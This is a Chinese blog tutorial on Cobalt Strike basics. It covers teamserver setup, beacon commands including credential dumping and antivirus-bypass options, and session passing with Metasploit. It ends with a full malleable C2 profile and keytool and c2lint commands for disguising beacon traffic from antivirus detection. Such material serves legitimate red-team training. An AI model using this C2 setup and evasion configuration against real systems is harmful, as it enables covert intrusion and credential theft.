内网渗透基础(三)CobaltStrike基础

admin 2022年4月15日10:26:32内网渗透基础(三)CobaltStrike基础已关闭评论126 views字数 2701阅读9分0秒阅读模式

CobaltStrike基础

1. CobaltStrike简答介绍

CS的启动方式,在cs文件夹下执行 teamserver

具体格式位:./ teamserver 服务器IP地址 登录密码,然后在执行 ./start.sh即可启动。

CS是一款团队工具只要用户名不同可以让多人连接使用

内网渗透基础(三)CobaltStrike基础

从左到右每一个工具条的含义

分别是连接另一个服务器、断开当前服务器、配置监听、切换服务器节点图、切换成会话列表、切换成目标列表、查看凭据、查看下载的文件、查看键盘记录、查看屏幕截图、生成payload、生成java攻击载荷、生成宏、web传递攻击

CS只能在后渗透当中使用,必须得到一个会话之后才能进行操作,

在CS上设置监听

内网渗透基础(三)CobaltStrike基础

可以在attacks当中生成exe

内网渗透基础(三)CobaltStrike基础

也可以生成一个web攻击然后也获得一个监听,在会话上线之后不同颜色代表着采用着不同的协议:

绿色--是http或者https连接

蓝色--Tcp

黄色--DNS

橙色--SMB

2. 基础操作

CS默认每60S与会话执行一次连接,时间比较长,此时我们可以使用sleep命令来进行修改时间

使用shell命令来进行cmd命令的执行

还可以使用run来执行cmd命令

execute:执行一个文件

powershell:执行powershell命令(调用系统的powershell.exe)

powerpick:执行powershell名字但是不调用powershell.exe可以绕过一些powershell策略和杀软

execute-assembly:执行一个.net程序

在相关会话中我们可以通过鼠标右键当中的Explore中的File Browser 和Process List来查看目标的文件和进程

内网渗透基础(三)CobaltStrike基础

logonpasswords:尝试抓取用户密码(有管理员权限才能使用)

argue:参数欺骗,绕过杀软

3. msf的联动

3.1 MSF联动CS

msf与CS的联动方式,当在msf当中获得一个会话时,我们可以退出会话模式,然后使用exploit/windows/local/payload_inject模块,设置payload,payload中所使用的监听协议必须要和CS当中设置的协议一致,然后设置lhost和lport都要与CS监听当中的保持一致,最后设置session,exploit执行之后就可以在CS当中看到会话已经上线

联动时msf上的操作

内网渗透基础(三)CobaltStrike基础

联动时CS上的操作

内网渗透基础(三)CobaltStrike基础

3.2 CS联动MSF

现在MSF上设置一个会话监听,还是使用exploit/multi/handler模块,注意使用payload时所使用的协议要与CS当中的保持一致

内网渗透基础(三)CobaltStrike基础

然后在CS当中重新添加一个会话,payload使用Foreign HTTP(外部监听器),监听地址和端口要与MSF当中设置的保持一致。

内网渗透基础(三)CobaltStrike基础

然后把我们在CS当中监听的端口通过派生选择会话传递给我们的MSF当中

内网渗透基础(三)CobaltStrike基础

选择之后需要等一段时间,比较漫长,发现传递成功

内网渗透基础(三)CobaltStrike基础

4. 流量加密

C2-profil流量加密,因为在建立连接的时候不管怎么样都会有流量的产生,流量当中的特定部分会被杀软识别,进行拦截,所以要进行的流量的加密来绕过杀软

*要在CS启动之前使用*

使用的命令为:keytool -genkey -alias demo(自定义) -keyalg RSA -validity 36500 -keystore demo.store

生成一个.store文件,然后需要我们去修改.profile文件(默认没有需要自己添加,文件名最好与我们创建的.store文件一致)

.profile文件内容为

```
set sample_name "moonsec POS Malware";
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter "10"; # throw in a 10% jitter
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";

设置证书

https-certificate {
set CN "y";
set O "y";
set C "y";
set L "y";
set OU "y";
set ST "y";
set validity "365";
}

设置

code-signer{
set keystore "demo.store";
set password "wxq20014.22";
set alias "demo";
}

指定 DNS beacon 不用的时候指定到 IP 地址

set dns_idle "8.8.4.4";

每个单独 DNS 请求前强制睡眠时间

set dns_sleep "0";

通过 DNS 上载数据时主机名的最大长度[0-255]

set maxdns "235";

http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";

client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urlencoded";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @
PC&wv=11&gr=backoff&bv=1.55&data=";
print;
} }
server {
output {
print;
} } }
http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
} }
server {
header "Content-Type" "text/plain";
output {
base64;
print;
} } }
```

下图当中的的划线部分是我们在.porfile文件需要进行修改的

内网渗透基础(三)CobaltStrike基础

修改过后我们可以使用./c2lint demo.profile(文件名)命令进行测试

只要下方显示了SSLOK我们就可以进行使用

内网渗透基础(三)CobaltStrike基础

然后就是使用我们生成的proflie文件去启动我们的CS了

此时启动CS的命令为./teamserver 192.168.10.132(监听的IP地址) 123456(登录CS的密码) ./demo.profile

启动CS客户端./start.sh

此时进行通信的时候流量就是我们自定义的类型了

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月15日10:26:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透基础(三)CobaltStrike基础http://cn-sec.com/archives/913069.html